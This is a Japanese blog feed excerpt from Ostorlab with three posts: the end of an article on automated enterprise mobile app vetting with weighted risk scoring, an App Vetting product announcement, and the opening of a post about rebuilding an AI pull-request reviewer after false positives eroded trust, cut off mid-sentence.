&lt;p&gt;SASTが設計図を確認するのに対し、DASTは実際に動作しているアプリケーションを観察します。アプリケーションパッケージは展開され、高度に計装された安全な隔離サンドボックス（Safe Containment Sandbox）内で実行されます。このデジタルサンドボックスは、アプリとプログラムでやり取りして現実のユーザーフローを発生させながら、内部のシステムコールをすべてマッピングします。&lt;/p&gt;
&lt;p&gt;DASTは実行時の振る舞いに重点を置き、次の点を追跡します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;安全でないデータ転送：&lt;/strong&gt; アプリケーションが厳格なHTTPSを強制せず、平文のHTTPで通信していないかを追跡します。平文で通信している場合、セッショントークンやユーザーの認証情報がローカルネットワーク上で傍受される危険にさらされます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全でないローカルキャッシュ：&lt;/strong&gt; アプリケーションが、機密性の高いトランザクショントークン、企業の認証情報、個人を特定できる情報（PII）を、端末の平文ログ（AndroidのLogcatやiOSのSyslog）や暗号化されていない共有プリファレンスファイルに直接書き込んでいないかを監視します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;トランスポート層セキュリティの不備：&lt;/strong&gt; アプリケーションがTLSの証明書ピンニングを適切に強制しているか、それとも自己署名証明書を無条件に受け入れ、中間者攻撃（MitM）による傍受に対して脆弱な状態になっていないかを検証します。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3. 振る舞い、プライバシー、厳格なネットワークテレメトリの監視"&gt;3. 振る舞い、プライバシー、厳格なネットワークテレメトリの監視&lt;/h3&gt;
&lt;p&gt;振る舞い解析では、偶発的なコーディングバグから、意図的なアプリ設計とサプライチェーンの構造へと焦点を移します。このフェーズでは、アプリがどのようなデータを収集し、なぜそれを必要とし、正確にどこへ送信しているのかを詳細に追跡します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;過剰で危険な権限：&lt;/strong&gt; 本来の用途とまったく関係のないデバイス権限（エンタイトルメント）を要求するアプリケーションをプロファイリングします。たとえば、基本的な計算ツールが、端末のマイク、Bluetoothスタック、リアルタイムのGPS座標へのバックグラウンドでの継続的なアクセスを要求するようなケースです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;サードパーティSDKのサプライチェーン：&lt;/strong&gt; 最新のアプリは、トラッキング、分析、広告を処理するために、何十ものオープンソースのソフトウェア開発キット（SDK）を組み込んで構築されています。こうしたバックグラウンドで動作するSDKは、ホストアプリとまったく同じシステム権限で実行されます。振る舞いプロファイリングでは、厳格なネットワークテレメトリ監視によってすべての送信パケットを記録し、隠れたトラッキングライブラリがいつテレメトリの収集を始め、それを未承認のサードパーティ広告ネットワークや高リスクの法域へ送り始めるのかを正確にマッピングします。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="最新のリスクモデリング:二元的な重大度評価を超えて"&gt;最新のリスクモデリング：二元的な重大度評価を超えて&lt;/h2&gt;
&lt;p&gt;セキュリティレポートに対する従来のアプローチは、「高・中・低」という恣意的な重大度スケールに依存していました。こうした二元的なモデルでは、古くなってはいるものの悪用可能ではない単一の依存関係を含むだけのアプリケーションでも「高リスク」と判定されることがあります。その結果、ITチームとセキュリティチームは手作業での例外承認を延々と繰り返すことになり、業務のボトルネックとなっていました。&lt;/p&gt;
&lt;p&gt;現代のエンタープライズリスク管理には、さまざまな運用上のベクトルにわたって脆弱性を文脈に即して重み付けする、多次元的なアプローチが求められます。アプリベッティングのフレームワークを構築または評価する際には、総合的な脅威スコアを次の5つの異なる次元にわたって算出すべきです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;マルウェアと脅威の検知（重み35%）：&lt;/strong&gt; 埋め込まれたトロイの木馬、活動中のスパイウェア、ランサムウェア、OSの制御を回避するよう設計された悪意あるコードブロックなど、実行時の差し迫ったリスク。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コアコードのセキュリティ（重み25%）：&lt;/strong&gt; 構造的な脆弱性、暗号の誤用、そしてOWASP MASVSのコントロールグループ（MASVS-STORAGE、MASVS-CRYPTO、MASVS-NETWORKなど）といった国際的なセキュリティ標準への直接的な準拠状況。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;プライバシーとデータコンプライアンス（重み20%）：&lt;/strong&gt; 埋め込まれたユーザートラッキングスクリプト、平文通信の欠陥、データ共有経路の有無。これらは、EU一般データ保護規則（GDPR）、カリフォルニア州消費者プライバシー法（CCPA）、NIS2などの規制フレームワークに直接対応付けられます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パブリッシャーの信頼性と権威（重み10%）：&lt;/strong&gt; ソフトウェアベンダーの過去の評判、ドメイン登録からの経過期間、アプリケーションのダウンロード履歴、検証可能なマーケットプレイスにおける安全な配信実績のデータ。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保守性とコードの健全性（重み10%）：&lt;/strong&gt; コードの健全性を示す指標、使用されている開発フレームワークの古さ、セキュリティパッチの適用頻度、そして将来のサプライチェーン攻撃の標的となりうる放置されたオープンソースモジュールの有無。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;重み付けされた変数を中心に自動ポリシーエンジンを構成することで、低リスクのユーティリティアプリによって業務が停滞することはなくなり、本当に危険なデータ漏えいアプリは即座に検出されます。&lt;/p&gt;
&lt;h2 id="開発者とのコラボレーションと修復の効率化"&gt;開発者とのコラボレーションと修復の効率化&lt;/h2&gt;
&lt;p&gt;これまで、アプリケーションセキュリティテストツールは孤立したサイロとして動作し、情報量が多く階層の深いレポートを生成してきました。セキュリティチームがこうした検出結果を開発者や外部のサードパーティパートナーに回そうとすると、運用上の大きな摩擦が生じていました。開発者は対応すべきコード行を見つけるために複雑なユーザーインターフェースと格闘しなければならず、外部のレビュー担当者はスキャン結果を一件閲覧するだけでもアクセス上の障壁に直面していました。&lt;/p&gt;
&lt;p&gt;最新のDevSecOpsに即するには、モバイルアプリベッティングにおけるコミュニケーションの仕組みを、スピードとアクセスのしやすさを優先する方向へと進化させる必要があります。&lt;/p&gt;
&lt;h3 id="すぐに対応できる直接的なレポート"&gt;すぐに対応できる直接的なレポート&lt;/h3&gt;
&lt;p&gt;監査の検出結果は、複雑なUIメニューの奥に埋もれさせるのではなく、明確で直線的な形式で提示する必要があります。わかりやすく精度の高いドキュメントを提供することで、開発者は管理上の遅延なく、該当するファイルパス、脆弱なSDK、設定上の欠陥を即座に特定して修復できます。&lt;/p&gt;
&lt;h3 id="ステークホルダーのスムーズなアクセス"&gt;ステークホルダーのスムーズなアクセス&lt;/h3&gt;
&lt;p&gt;モバイル開発は外部の制作会社や契約チームに委託されることが多いため、コラボレーションは組織の境界を越えて行える必要があります。エンタープライズのベッティングパイプラインは、ロールベースの共有や期限付きの読み取り専用リンクなど、安全な一時的アクセスの仕組みをサポートすべきです。これにより社内のセキュリティチームは、外部の開発者やサードパーティの監査人に企業の認証情報を登録させたり、エンタープライズソフトウェアのライセンスシートを消費させたりすることなく、特定のダッシュボードを共有できます。&lt;/p&gt;
&lt;h2 id="自動化されたmavアーキテクチャの設計と導入"&gt;自動化されたMAVアーキテクチャの設計と導入&lt;/h2&gt;
&lt;p&gt;成熟したエンタープライズのモバイルアプリベッティングのワークフローでは、日常的な標準のリクエストに対して、ITセキュリティ担当者による手作業の介入は一切不要であるべきです。システムは、自動化されたプログラム的なループとして動作します。&lt;/p&gt;
&lt;div class="mermaid"&gt;
flowchart TD
    Start["従業員またはCI/CDがアプリパッケージをリクエスト"] --&amp;gt; Engine["自動化されたモバイルベッティングエンジン"]

    Engine -.-&amp;gt; SAST["静的解析（SAST）"]
    Engine -.-&amp;gt; DAST["安全な隔離サンドボックスでの実行（DAST）"]
    Engine -.-&amp;gt; Telemetry["厳格なネットワークテレメトリ監視（SDK／プライバシー）"]

    Engine --&amp;gt; Scoring["多次元の重み付けスコアリング&lt;br/&gt;（マルウェア／セキュリティ／プライバシー／信頼性／保守性）"]

    Scoring --&amp;gt; Eval["自動ポリシー評価チェック"]

    Eval --&amp;gt; Meets["しきい値を満たす"]
    Eval --&amp;gt; Violates["しきい値に違反"]

    Meets --&amp;gt; Approved["MDMで自動承認&lt;br/&gt;（ユーザーにプロビジョニング）"]

    Violates --&amp;gt; Quarantined["MDMでアプリを自動隔離&lt;br/&gt;（直接レポートリンクとトークンを生成）"]
    Quarantined --&amp;gt; Remediation["修復&lt;br/&gt;（Slack、JiraなどへのAPIプッシュ）"]
&lt;/div&gt;
&lt;script type="module"&gt;
    import mermaid from 'https://cdn.jsdelivr.net/npm/mermaid@10/dist/mermaid.esm.min.mjs';
    mermaid.initialize({ startOnLoad: true, theme: 'default' });
&lt;/script&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;継続的なインベントリ検出：&lt;/strong&gt; 自動ベッティングエンジンは、常時接続のAPI連携（RESTまたはGraphQLを利用）を通じて、企業のMDMアプリケーションリポジトリやCI/CDのコードリポジトリに直接接続します。新しいバージョンのアプリケーションパッケージが提出またはリクエストされた瞬間に、そのパッケージは複製され、解析エンジンに投入されます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;並列実行：&lt;/strong&gt; エンジンは、SASTのためにバイナリを逆コンパイルし、DASTのために計装された隔離サンドボックス内でアプリを起動し、さらにテレメトリの追跡によって外部サーバーへの通信をマッピングして、プライバシーコンプライアンスを検証します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;調整されたポリシー評価：&lt;/strong&gt; エンジンは、組織が定めた厳密なリスクしきい値のパラメータに照らして、多次元のリスクスコアを算出します。アプリが企業のしきい値を満たした場合、ベッティングエンジンはMDMのレジストリを更新し、そのパッケージを検証済みとしてマークします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;即時のオーケストレーションによる修復：&lt;/strong&gt; アプリケーションのスコアが許容されるコンプライアンスのしきい値を下回った場合（例：暗号化されていないエンドポイントにデータが送信されている場合）、ベッティングツールはAPI経由でMDMに指示を出し、全端末を対象にアプリを自動隔離します。同時に、直接アクセスできるレポートリンクと安全な閲覧用トークンが生成され、エンジニアリングチームのJiraやSlackチャンネルへ即座にアラートが送信されるため、摩擦なく問題を解決できます。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="結論:モバイルの盲点をなくす"&gt;結論：モバイルの盲点をなくす&lt;/h2&gt;
&lt;p&gt;モバイルアプリケーションは、単なるソフトウェアのアドオンという出自を完全に超え、いまや現代の分散した従業員にとっての主要な作業空間となっています。そのセキュリティ検証を一般的な公開アプリストアのフィルタや受動的なデバイス管理プロファイルに任せておくと、規制、サプライチェーン、財務の各面で計り知れない脆弱性を抱えることになります。&lt;/p&gt;
&lt;p&gt;多次元の重み付けスコアリング、安全な隔離サンドボックス、そして最新の摩擦のないコラボレーション機能を活用した、自動化されたモバイルアプリベッティングフレームワークへ移行することで、組織は可視性の盲点をなくせます。セキュリティチームは硬直した阻害要因から自動化された推進役へと変わり、企業は基盤となるデータの完全性に確信を持ちながら、革新的なソフトウェアを大規模に導入できるようになります。&lt;/p&gt;</content><category term="Security"/><category term="Mobile App Vetting"/><category term="Security"/><category term="Enterprise"/><category term="Compliance"/></entry><entry><title>エージェント時代のOstorlab App Vettingのご紹介</title><link href="https://blog.ostorlab.co/ja/ostorlab-app-vetting.html" rel="alternate"/><published>2026-06-16T08:47:00+02:00</published><updated>2026-06-18T14:00:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-06-16:/ja/ostorlab-app-vetting.html</id><summary type="html">&lt;p&gt;Ostorlabは、Android・iOSアプリを承認前に評価できるモバイルアプリのリスク評価ソリューション、App Vettingをリリースしました。静的解析、動的テスト、安全なサンドボックス実行に、継続的な監視、重み付けされたリスクスコアリング、エージェント型ワークフローを組み合わせ、脆弱性、プライバシーリスク、マルウェアの兆候、テレメトリの挙動、信頼性の問題を特定しながら、最も重要な事項の優先順位付けを支援します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;組織はサードパーティのモバイルアプリへの依存を強めていますが、そのセキュリティ態勢の評価はいまだに断片的なプロセスにとどまっています。セキュリティチームは多くの場合、承認の判断を下す前に、脆弱性レポート、プライバシー評価、マルウェアの兆候、評判に関するシグナルを複数の情報源から寄せ集めなければなりません。&lt;/p&gt;
&lt;p&gt;本日、Ostorlabの新機能App Vettingをご紹介します。自動化された解析、コンテキストに基づくリスクスコアリング、継続的な監視を通じて、組織がAndroidおよびiOSアプリを評価できるよう設計された機能です。&lt;/p&gt;
&lt;p&gt;App Vettingは、静的解析、動的テスト、安全に隔離されたサンドボックスでの実行を組み合わせ、デプロイ前からアプリのライフサイクル全体にわたって、アプリのリスクを包括的に把握できるようにします。
&lt;figure&gt;&lt;img alt="App Vettingのダッシュボード" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-06-16_appVetting/dashboard.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="検出結果から意思決定へ"&gt;検出結果から意思決定へ&lt;/h2&gt;
&lt;p&gt;ほとんどのセキュリティツールは検出の段階で止まっています。&lt;/p&gt;
&lt;p&gt;App Vettingは、エージェント型ワークフローを用いて検出結果を分析し、意味のあるリスクパターンを特定して、セキュリティチームがまず何に注力すべきかについてのコンテキストを提供します。&lt;/p&gt;
&lt;p&gt;何百もの個別の検出結果でユーザーを圧倒するのではなく、App Vettingはアプリ全体のリスクプロファイルに最も大きな影響を与える問題の優先順位付けを支援します。&lt;/p&gt;
&lt;p&gt;目指すところはシンプルです。チームが検出結果のレビューに費やす時間を減らし、十分な情報に基づいた意思決定により多くの時間を使えるようにすることです。&lt;/p&gt;
&lt;p&gt;重大度の評価だけに頼るのではなく、このアプローチによって、セキュリティチームはアプリ全体のリスクプロファイルを左右する要因を理解し、より十分な情報に基づいて承認の判断を下せるようになります。
&lt;figure&gt;&lt;img alt="App Vettingの結果" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-06-16_appVetting/results.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="多次元のリスクスコアリング"&gt;多次元のリスクスコアリング&lt;/h2&gt;
&lt;p&gt;アプリは5つの次元で評価されます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;マルウェア（35%）&lt;/li&gt;
&lt;li&gt;セキュリティ（25%）&lt;/li&gt;
&lt;li&gt;プライバシー（20%）&lt;/li&gt;
&lt;li&gt;信頼性（10%）&lt;/li&gt;
&lt;li&gt;保守性（10%）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;このスコアリングモデルは、従来の重大度評価だけよりも、アプリのリスクをより完全に把握できるようにします。&lt;/p&gt;
&lt;p&gt;脆弱性の分析、マルウェアの兆候、プライバシー上の懸念、信頼性のシグナル、長期的な保守性の要素を組み合わせることで、App Vettingは、アプリにリスクがあるかどうかだけでなく、その理由も組織が理解できるよう支援します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="App Vettingの結果" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-06-16_appVetting/results2.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="継続的な監視"&gt;継続的な監視&lt;/h2&gt;
&lt;p&gt;アプリのリスクは時間とともに変化します。&lt;/p&gt;
&lt;p&gt;新しいリリースでは、新しいコード、依存関係、権限、SDK、挙動が持ち込まれます。今日実施したセキュリティ評価が、明日のアプリのリスクをもはや反映していないこともあります。&lt;/p&gt;
&lt;p&gt;App Vettingは、新しいバージョンがリリースされるたびに継続的に解析し、セキュリティ、プライバシー、信頼性、全体的なリスク態勢に影響する変化を組織が把握し続けられるよう支援します。&lt;/p&gt;
&lt;p&gt;これにより、チームは一度きりのレビューから脱却し、モバイルアプリのリスク管理に継続的なアプローチを取り入れることができます。&lt;/p&gt;
&lt;h2 id="本日より提供開始"&gt;本日より提供開始&lt;/h2&gt;
&lt;p&gt;自動化されたリスク評価、継続的な監視、安全なコラボレーションワークフローを活用して、AndroidおよびiOSアプリの評価を始めましょう。&lt;/p&gt;
&lt;div style="text-align: center; margin: 20px 0"&gt;
&lt;a href="https://report.ostorlab.co/scan/appcard" style="background-color: #0081ba; color: white; padding: 10px 20px; text-decoration: none; border-radius: 5px;" target="_blank"&gt;今すぐApp Vettingを試す&lt;/a&gt;
&lt;/div&gt;</content><category term="Product"/><category term="Mobile Security"/><category term="App Vetting"/><category term="Ostorlab"/><category term="AppSec"/><category term="Security Automation"/></entry><entry><title>エンジニアが本当に信頼できるAIプルリクエストレビュアーを構築する</title><link href="https://blog.ostorlab.co/ja/PR-review.html" rel="alternate"/><published>2026-06-08T10:30:00+02:00</published><updated>2026-06-08T10:30:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-06-08:/ja/PR-review.html</id><summary type="html">&lt;p&gt;当社はAIによるプルリクエストレビュアーを構築しましたが、ハルシネーションと誤検知によって開発者の信頼が損なわれたため運用を停止し、より優れたモデル、より広いコンテキスト、より慎重なエージェントアーキテクチャで再構築しました。本記事では、自動コードレビューについて学んだこと、カバレッジよりも信頼が重要な理由、そしてAIレビュアーが人間の判断に取って代わることなく、エンジニアリングチームの反復的なレビュー作業の削減にどう役立つかを紹介します。&lt;/p&gt;</summary><content type="html">&lt;h2 id="プルリクエストレビューがaiに適した課題である理由"&gt;プルリクエストレビューがAIに適した課題である理由&lt;/h2&gt;
&lt;p&gt;いつの間にか、当社のAIプルリクエストレビュアーは実験という感覚ではなくなっていました。&lt;/p&gt;
&lt;p&gt;レビューのワークフローの一部になっていたのです。&lt;/p&gt;
&lt;p&gt;エンジニアはその指摘に反論したり、無視したり、ときには感謝したりしました。あるエンジニアは、プルリクエストが承認された後、キスの絵文字で返信したほどです。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="AIレビュアーの手厳しいコメント" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_06_08_PR_Review/AngryBot.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt="キスの絵文字でAIレビュアーに返信するエンジニア" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_06_08_PR_Review/CallHR.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;こうしたやり取りを目にしたのは有益でした。レビュアーが常に正しかったからではなく、AIのフィードバックがエンジニアリングのワークフローの一部になったときに何が起きるかを示していたからです。&lt;/p&gt;
&lt;p&gt;問題はもはや、システムが問題を見つけられるかどうかだけではありません。&lt;/p&gt;
&lt;p&gt;エンジニアがその指摘を信頼する気になれるかどうかです。&lt;/p&gt;
&lt;p&gt;最初のバージョンは失敗しました。&lt;/p&gt;
&lt;p&gt;運用を停止したのは、問題を見逃したからではありません。&lt;/p&gt;
&lt;p&gt;存在しない問題をあまりにも多く見つけたからです。&lt;/p&gt;
&lt;p&gt;この違いは重要です。AIコードレビューに関する議論の多くはカバレッジに焦点を当てています。システムがいくつのバグを見つけられるか、いくつの脆弱性を検出できるか、いくつのコメントを生成できるか、といった点です。実際には、当社にとって最も重要だった指標はカバレッジではありませんでした。信頼でした。&lt;/p&gt;
&lt;p&gt;プルリクエストレビューは、AIを適用する場として自然な領域です。シニアエンジニアは、繰り返し現れるパターンの特定、規約の徹底、安全でない前提の発見、エッジケースの確認、そして変更がシステムの他の部分と整合しているかの確認に、かなりの時間を費やしています。その作業の一部には、アーキテクチャに関する深い判断が必要です。しかし、大部分は反復的で機械的なものです。&lt;/p&gt;
&lt;p&gt;そうした反復的なチェックこそ、AIが役立つ領域です。&lt;/p&gt;
&lt;p&gt;課題は、コードレビューが単に問題を見つけることではない点にあります。&lt;strong&gt;適切な&lt;/strong&gt;問題を見つけ、それを明確に説明し、エンジニアがそのフィードバックに基づいて行動する気になれるだけの精度で行うことが求められます。&lt;/p&gt;
&lt;p&gt;ノイズの多いレビュアーは、レビュアーがいないよりも悪い存在です。人間のエンジニアは沈黙を無視できます。しかし、もっともらしいが誤ったコメントは、それが間違っていることを証明するために時間を費やさない限り無視できません。&lt;/p&gt;
&lt;p&gt;当社はこの教訓を、痛い思いをして学びました。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="最初の試み"&gt;最初の試み&lt;/h2&gt;
&lt;p&gt;最初のバージョンの目標はシンプルでした。人間のレビュアーが関わる前にプルリクエストをレビューし、よくある問題を早い段階で見つけることです。&lt;/p&gt;
&lt;p&gt;当時、これは実用的で効果の大きいユースケースだと感じていました。プルリクエストのレビューはボトルネックになっていました。シニアエンジニアは反復的なフィードバックに多くの時間を費やしすぎており、レビュー待ちの列がチーム全体の開発を遅らせていました。&lt;/p&gt;
&lt;p&gt;目的はレビュアーを置き換えることではありませんでした。レビュープロセスの機械的な部分を減らし、エンジニアがアーキテクチャ、セキュリティへの影響、ビジネスロジックにより多くの時間を割けるようにすることでした。&lt;/p&gt;
&lt;p&gt;最初のバージョンは、プルリクエストが作成または更新されると自動的に実行されました。差分を収集し、変更されたファイルと限られた周辺コンテキストを集め、その情報を言語モデルに送り、レビューコメントをプルリクエストに投稿していました。&lt;/p&gt;
&lt;p&gt;ワークフローは意図的にシンプルにしていました。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;プルリクエストのイベントがレビュアーを起動する。&lt;/li&gt;
&lt;li&gt;システムが差分と変更されたファイルを抽出する。&lt;/li&gt;
&lt;li&gt;モデルが固定のプロンプトを使って変更をレビューする。&lt;/li&gt;
&lt;li&gt;生成された検出結果をプルリクエストのコメントに変換する。&lt;/li&gt;
&lt;li&gt;エンジニアが人間のフィードバックとあわせてそのコメントを確認する。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;このシンプルさのおかげでシステムは簡単に構築できましたが、それが最大の弱点にもなりました。エージェントは何が変わったかは見えても、検出結果が本当に妥当かどうかを理解するのに十分な周辺システムが見えないことが多かったのです。&lt;/p&gt;
&lt;p&gt;机上では、この仮説は妥当なものでした。プルリクエストがシニアエンジニアに届く前にAIレビュアーがよくある問題を見つけられれば、レビュアーは同じフィードバックを繰り返す時間を減らし、設計上の判断について議論する時間を増やせます。&lt;/p&gt;
&lt;p&gt;実際には、システムは役に立ちそうに聞こえるものの、しばしば間違っているコメントを生成しました。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="失敗のパターン:もっともらしいが誤ったフィードバック"&gt;失敗のパターン：もっともらしいが誤ったフィードバック&lt;/h2&gt;
&lt;p&gt;最初のバージョンは、分かりやすい形で失敗したわけではありません。&lt;/p&gt;
&lt;p&gt;意味をなさないコメントを投稿したわけではありません。すべてのプルリクエストを誤解したわけでもありません。明らかに破綻した推奨を出したわけでもありません。&lt;/p&gt;
&lt;p&gt;問題はもっと微妙なものでした。多くのコメントは、エンジニアが調査せざるを得ないと感じるほどにはもっともらしく、それでいて調査がしばしば時間の無駄に終わるほどには誤っていたのです。&lt;/p&gt;
&lt;p&gt;軽微ながら苛立たしい例もありました。エージェントはときどき、当社の規約と矛盾するスタイルの変更を推奨しました。たとえば、一貫して&lt;code&gt;camelCase&lt;/code&gt;を使っているコードベースで、&lt;code&gt;snake_case&lt;/code&gt;のテスト名を提案するといったものです。&lt;/p&gt;
&lt;p&gt;より支障の大きいコメントもありました。あるケースでは、同じプルリクエストの別の箇所ですでに修正済みのコードを、エージェントが指摘しました。別のケースでは、当社のCI環境がブラウザーベースの実行をサポートしていないにもかかわらず、ブラウザー環境を必要とする結合テストの追加を推奨しました。&lt;/p&gt;
&lt;p&gt;同じプルリクエストに重複したコメントが現れることもありました。エージェントが同じ問題と思われるものを複数回特定し、同じフィードバックの言い換えを複数投稿してしまうのです。根底にある指摘が妥当な場合でも、繰り返しによってレビューがノイズの多いものに感じられました。&lt;/p&gt;
&lt;p&gt;最も厄介だったのは、一見すると妥当に見えるコメントでした。たとえば、より狭い例外型が意図的に選ばれていることを理解せずに、より広い例外処理を提案することがありました。あるいは、技術的には妥当でも近くのコードと一貫性のないリファクタリングを推奨することもありました。&lt;/p&gt;
&lt;p&gt;質の悪いAIレビューコメントにはコストがかかります。誰かがそれを読み、理解し、当てはまるかどうかを確認し、周辺のコードを調べ、対応するかどうかを判断しなければなりません。コメントが間違っていれば、その時間はすべて無駄になります。&lt;/p&gt;
&lt;p&gt;時間が経つにつれ、エンジニアはエージェントを役に立つレビュアーとして扱うのをやめ、レビューのノイズの発生源の一つとして扱うようになりました。&lt;/p&gt;
&lt;p&gt;その時点で、このプロジェクトはもう役に立っていませんでした。&lt;/p&gt;
&lt;p&gt;そこで、当社は運用を停止しました。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="本当の教訓:誤検知は見逃しよりも悪い"&gt;本当の教訓：誤検知は見逃しよりも悪い&lt;/h2&gt;
&lt;p&gt;最初のバージョンから得た最も重要な教訓は、誤検知（フォールスポジティブ）が、見逃しよりも大きな損害をもたらすことが多いという点でした。&lt;/p&gt;
&lt;p&gt;ときどき問題を見逃すレビュアーでも、役に立つことはあります。誤った問題を繰り返し指摘するレビュアーは、他の全員に余計な作業を生み出します。&lt;/p&gt;
&lt;p&gt;これはコードレビューでは特に当てはまります。レビューコメントはエンジニアの集中を中断させるからです。コメントは単なるテキストではありません。注意を向けてほしいという要求です。作成者に手を止めさせ、コードを調べさせ、問題について考えさせ、変更が必要かどうかを判断させます。&lt;/p&gt;
&lt;p&gt;その要求があまりにも頻繁に誤りだと分かれば、信頼はすぐに失われます。&lt;/p&gt;
&lt;p&gt;いったん信頼が失われると、正しいコメントでさえ価値が下がります。エンジニアはすべてを検証し始めます。エージェントのフィードバックを身構えて読むようになります。そうでないと証明されるまでは、おそらく間違っているだろうと考えるのです。&lt;/p&gt;
&lt;p&gt;それによってツールの役割が変わります。レビューの負担を減らすどころか、増やしてしまうのです。&lt;/p&gt;
&lt;p&gt;AIコードレビューでは、&lt;strong&gt;量よりも精度が重要&lt;/strong&gt;です。10件のコメントのうち9件を手動で却下しなければならないなら、1件のコメントより優れているとは言えません。優れたレビューエージェントは、黙っていることをためらうべきではありません。&lt;/p&gt;
&lt;p&gt;これが2つ目のバージョンの指針となりました。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="コードレビューに差分以上のコンテキストが必要な理由"&gt;コードレビューに差分以上のコンテキストが必要な理由&lt;/h2&gt;
&lt;p&gt;最初のバージョンは、プルリクエストレビューを主に差分分析の問題として扱っていました。それが間違いでした。&lt;/p&gt;
&lt;p&gt;経験豊富なレビュアーは、変更された行だけを見て変更を評価するわけではありません。はるかに幅広いコンテキストを使います。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;周辺コードにある既存のパターン&lt;/li&gt;
&lt;li&gt;プロジェクト固有の命名規約とテスト規約&lt;/li&gt;
&lt;li&gt;依存関係の挙動&lt;/li&gt;
&lt;li&gt;実行時の前提&lt;/li&gt;
&lt;li&gt;CIの制約&lt;/li&gt;
&lt;li&gt;セキュリティ境界&lt;/li&gt;
&lt;li&gt;過去の設計判断&lt;/li&gt;
&lt;li&gt;ビジネスロジックと製品の意図&lt;/li&gt;
&lt;li&gt;同様の問題がすでに別の場所で解決されているかどうか&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;単独で見ると疑わしく見える変更も、システム全体の中で見れば正しい場合があります。その逆もまた真です。差分では無害に見える変更が、別のファイル、サービス、実行パスの挙動が原因でバグを持ち込むこともあります。&lt;/p&gt;
&lt;p&gt;このコンテキストの欠落が、最初のバージョンの失敗の多くを説明していました。&lt;/p&gt;
&lt;p&gt;モデルが誤っていたのは、多くの場合、言語能力が不足していたからではありません。十分な情報がなかったからです。関連するコンテキストが見えないとき、システムは推測しました。そして推測したとき、自信に満ちているが誤ったフィードバックを生み出すことがありました。&lt;/p&gt;
&lt;p&gt;問題はモデルだけではありませんでした。&lt;/p&gt;
&lt;p&gt;問題は、モデルを取り巻くアーキテクチャにありました。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="この課題に再び取り組んだ理由"&gt;この課題に再び取り組んだ理由&lt;/h2&gt;
&lt;p&gt;当社は最終的に、AIプルリクエストレビューに再び取り組みました。当初の課題がなくなっていなかったからです。&lt;/p&gt;
&lt;p&gt;シニアエンジニアは依然として反復的なレビュー作業に時間を費やしていました。そうした作業の多くは重要でしたが、必ずしもシニアレベルの判断を必要とするものではありませんでした。ノイズを生み出さずに済むのであれば、機械的な問題を早い段階で見つけることには価値があると、当社は引き続き考えていました。&lt;/p&gt;
&lt;p&gt;同時に、技術も進歩していました。&lt;/p&gt;
&lt;p&gt;新しいモデルは、コードの理解、制約への準拠、実装の詳細に関する推論に優れていました。コンテキストウィンドウが大きくなったことで、狭い差分だけからモデルに作業させるのではなく、より多くのリポジトリのコンテキストを提供できるようになりました。エージェントのパターンも成熟していました。単一のプロンプトに頼るのではなく、システムが情報を取得し、ファイルを調べ、ツールを呼び出し、具体的なレビュー目標に沿って作業を構成できるようになっていたのです。&lt;/p&gt;
&lt;p&gt;これによって当社のアプローチが変わりました。&lt;/p&gt;
&lt;p&gt;当社はもはや、気づいたことすべてにコメントする汎用的なレビュアーを作ろうとしていたわけではありません。確度が高くシグナルの強い検出結果に焦点を絞った、慎重なレビューシステムを作ろうとしていました。&lt;/p&gt;
&lt;p&gt;問いは次のものから、&lt;/p&gt;
